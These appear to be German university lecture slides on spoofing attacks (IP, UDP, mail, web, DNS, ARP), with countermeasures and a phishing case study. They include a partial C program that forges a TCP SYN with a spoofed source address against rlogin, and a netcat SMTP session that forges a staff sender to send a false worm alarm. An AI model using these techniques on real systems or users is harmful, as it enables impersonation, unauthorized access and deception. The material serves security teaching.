7.5 Maskerade (spoofing) Angreifer tritt mit gefälschter Absender-Adresse auf, entweder mit eigenen Nachrichten oder mit entsprechend modifizierten Nachrichten anderer (man-in-the-middle attack) IP: TCP/UDP: Mail: Web: im IP Header falsche IP-Absenderadresse eintragen im Header falschen Absender-Port eintragen falsche Absender-Mail-Adresse angeben (unter Umgehung des regulären Mail-Programms) Webseite anbieten, die anderen Anbieter vortäuscht (und diese Webseite unterschieben...) ITS-7.5 1
Auch eine Fälschung bei der Namens/Adressauflösung kann zur Maskerade benutzt werden: DNS: ARP: (domain name service) Zuordnung Domänenname IP-Adresse ändern (durch Unterwandern des DNS) (address resolution protocol) falsche Zuordnung IP-Adresse MAC-Adresse in einer ARP-Nachricht im Lokalnetz verbreiten ITS-7.5 2
Verletzbare Schutzziele: Authentizität Verfügbarkeit Gegenmaßnahmen: Signierung Abschottung der DNS Server, verschiedene ARP-Techniken ITS-7.5 3
7.5.1 IP Spoofing Angreifer auf Station mallory maskiert sich als "auf alice", d.h. schickt Nachricht an bob mit Absender-Adresse alice, mallory alice bob z.b. weil bob alice akzeptiert, nicht aber mallory. ITS-7.5 4
Wofür könnte das gut sein? Beispiel: Arbeiten mit Unix Trusted Hosts bob: cat /etc/hosts.equiv taos.inf.fu-berlin.de condor.greenpeace.org alice bob: Die in der Datei /etc/hosts.equiv genannten Rechner fungieren als Trusted Hosts von bob. Ein Benutzer A auf einem dieser Trusted Hosts, z.b. auf alice, kann sich von dort aus auf bob als A einloggen, ohne das Passwort angeben zu müssen: alice: rlogin bob Last login: Wed Apr 19 17:53:30 from alice Sun Microsystems Inc. SunOS 5.10 Generic January 2005 You have new mail. bob: ITS-7.5 5
Was tut ein Angreifer Mallory, der sich mit dem Benutzernamen mallory Zugang zum Rechner bob verschaffen will? Bringt in Erfahrung, dass alice Trusted Host von bob ist, lässt sich Konto mallory auf mallory einrichten, wendet sich von dort aus mit falschem Absender alice an den rlogin-port (513) von bob,... und stellt eine TCP-Verbindung her. sind leichter gesagt als getan: ITS-7.5 6
Gefälschte SYN-Nachricht basteln und abschicken: // IP spoofing client on mallory(160.45.110.33) // for rlogin server on bob (160.45.110.55) // pretends to run on alice (160.45.110.01), #include <stdio.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #define RLOGIN_PORT 513 #define DEST_HOST "160.45.110.55" int main() { (nur für Systemverwalter!) int sockfd = socket(pf_inet, SOCK_RAW, IPPROTO_TCP); char buffer[4096]; struct ipheader *ihd = (struct ipheader *) buffer; struct tcpheader *thd = (struct tcpheader *)buffer + sizeof(struct ipheader); ITS-7.5 7
struct sockaddr_in server; server.sin_family = PF_INET; server.sin_addr.s_addr = inet_addr(dest_host); server.sin_port = htons(rlogin_port); memset(buffer,0,4096); // clear buffer // build SYN message ihd->ip_src.s_addr = inet_addr("160.45.110.01"); // faked source ihd->ip_dst.s_addr = server.sin_addr.s_addr; ihd->ip_len = sizeof(struct ipheader) + sizeof(struct tcpheader); ihd->... thd->tcp_src = htons(23300); // choose some port thd->tcp_dst = htons(rlogin_port); thd->tcp_flags = SYN_FLAG; thd->... ITS-7.5 8
// indicate that IP header is included in buffer setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, 0, 0); // send SYN message sendto(sockfd, buffer, ihd->ip_len, 0, (struct sockaddr *)&server, sizeof(server)); // Note: this was just the first step in establishing // a spoofed rlogin connection. // The server's SYN ACK has to be intercepted etc. etc. } ITS-7.5 9
mallory alice bob Problem: Lösungsidee: SYN ACK geht an alice statt an mallory! SYN ACK über mallory leiten und dort abfangen. Realisierung: z.b. mittels Source Routing - loose source routing - mit route recording - und unter der Voraussetzung, dass der Server über den gleichen Weg antwortet ITS-7.5 10
Realisierung ist einfacher im Lokalnetz: 1. Angreifer mallory arbeitet im promiscuous mode 2. alice erhält die Nachricht SYN ACK und verwirft sie 3. mallory erhält die Nachricht ebenfalls und sendet die ersten Nutzdaten an bob 4. damit ist aus Sicht von bob eine Verbindung mit alice hergestellt, an deren anderem Ende aber tatsächlich mallory sitzt 5. alice ignoriert alle Antworten von bob ITS-7.5 11
Artikel der Woche zum Thema IP spoofing in promiscuous mode: http://www.cs.berkeley.edu/~daw/papers/endpoint-security.html Gefährdung: mittels NFS übers lokale Netz bezogene Programme werden unbemerkt durch Trojanische Pferde ersetzt (auch bei Kerberos-gesichertem NFS!) ITS-7.5 12
7.5.2 UDP Spoofing beispielsweise für Dienstblockade von UDP-Diensten: Angreifer fälscht IP-Adresse und Port-Nummer und erreicht damit, dass zwei Opfer sich gegenseitig blockieren! mallory Port 19: chargen alice bob gefälschter Absender-Port 7: echo ITS-7.5 13
7.5.3 Mail Spoofing Beispiel: Ich erhalte folgende E-mail: Subject: Wurm-Alarm Message-Id: E1FW7iL-0003y9-00@vader.mi.fu-berlin.de From: staff@inf.fu-berlin.de Bcc: Date: Wed, 19 Apr 2006 10:07:27 +0200 X-Envelope-Sender: staff@inf.fu-berlin.de X-Virus-Scanned: by AMaViS 0.3.12pre7-L33[2887] X-Remote-IP: 160.45.110.12 Status: An alle Benutzer: Ein aggressiver Wurm infiziert gerade unsere Systeme! Bitte sofort ausloggen und alle Rechner ausschalten! ITS-7.5 14
vader: nc localhost 25! So wurde die Nachricht von mallory Trying 127.0.0.1... zusammengestellt; nc steht für netcat Connected to localhost (127.0.0.1). Escape character is '^]'. 220 vader.mi.fu-berlin.de ESMTP Exim 3.36 #1 Wed, 19 Apr 2006 10:06:04 HELO mallory 250 vader.mi.fu-berlin.de Hello mallory at localhost [127.0.0.1] MAIL FROM: staff@inf.fu-berlin.de 250 <staff@inf.fu-berlin.de> is syntactically correct RCPT TO: inst@inf.fu-berlin.de 250 <inst@inf.fu-berlin.de> is syntactically correct DATA 354 Enter message, ending with "." on a line by itself Subject: Wurm-Alarm An alle Benutzer: Ein aggressiver Wurm infiziert gerade unsere Systeme! Bitte sofort ausloggen und alle Rechner ausschalten!. 250 OK id=1fw7il-0003y9-00 QUIT 221 vader.mi.fu-berlin.de closing connection Connection closed by foreign host. vader: 15
7.5.4 Web Spoofing Beispiel: Wir surfen im Web und gelangen zu http://www.inf.fu-berlin.de/~lohr Dort befindet sich ein Hinweis Mein Tipp: Kölnisch Wasser von 4711 Anklicken von 4711 ( http://www.47ll.com ) führt zu einer professionellen 4711-Seite mit weiterem Link zu Online Shop (https://www.47ll.com/online)...... Achtung Falle! Die Web-Seiten sind nicht von 4711! ITS-7.5 16
? Wie wurde diese Falle konstruiert? einige professionell aussehende Web-Seiten bauen diese Seiten auf einem Web-Server mit "möglichst sinniger" URL bereitstellen, hier www.47ll.com mit 47ll statt 4711 (oder z.b. MICR0S0FT.COM statt MICROSOFT.COM ) ahnungslose Benutzer auf die Startseite locken, z.b. - über Suchdienst (Google,...) - über E-mail -...? Welcher Schaden wird angerichtet? Erschleichen vertraulicher Informationen, z.b. - Kreditkarten-Nummern, PINs - Passwörter (password fishing, "phishing ) und schlimmeres ( 10) ITS-7.5 17
Beispiel vom März 2006: Gefälschte E-mail (extrem holpriger Text!) mit Link auf http://banking.postbank.de.ebay-shops.at/... Postbank-Seite erscheint (identisch mit der echten https://banking.postbank.de/app/index.html ), aber mit Link "weiter zum Online-Banking" http://banking.postbank.de.ebay-shops.at/app/welcome.do.php Seite "Postbank Online-Banking" erscheint (identisch mit https://banking.postbank.de/app/welcome.do ) mit Formular zum Eintragen von Kontonummer und PIN... ITS-7.5 18
Schutzmaßnahmen? Aufmerksamkeit! https? Beweist gar nichts! Zertifikat überprüfen! (nicht unbedingt sicher) Web Spoofing und bösartige Webseiten (2.3 ) bleiben problematisch (mehr dazu siehe 10) ITS-7.5 19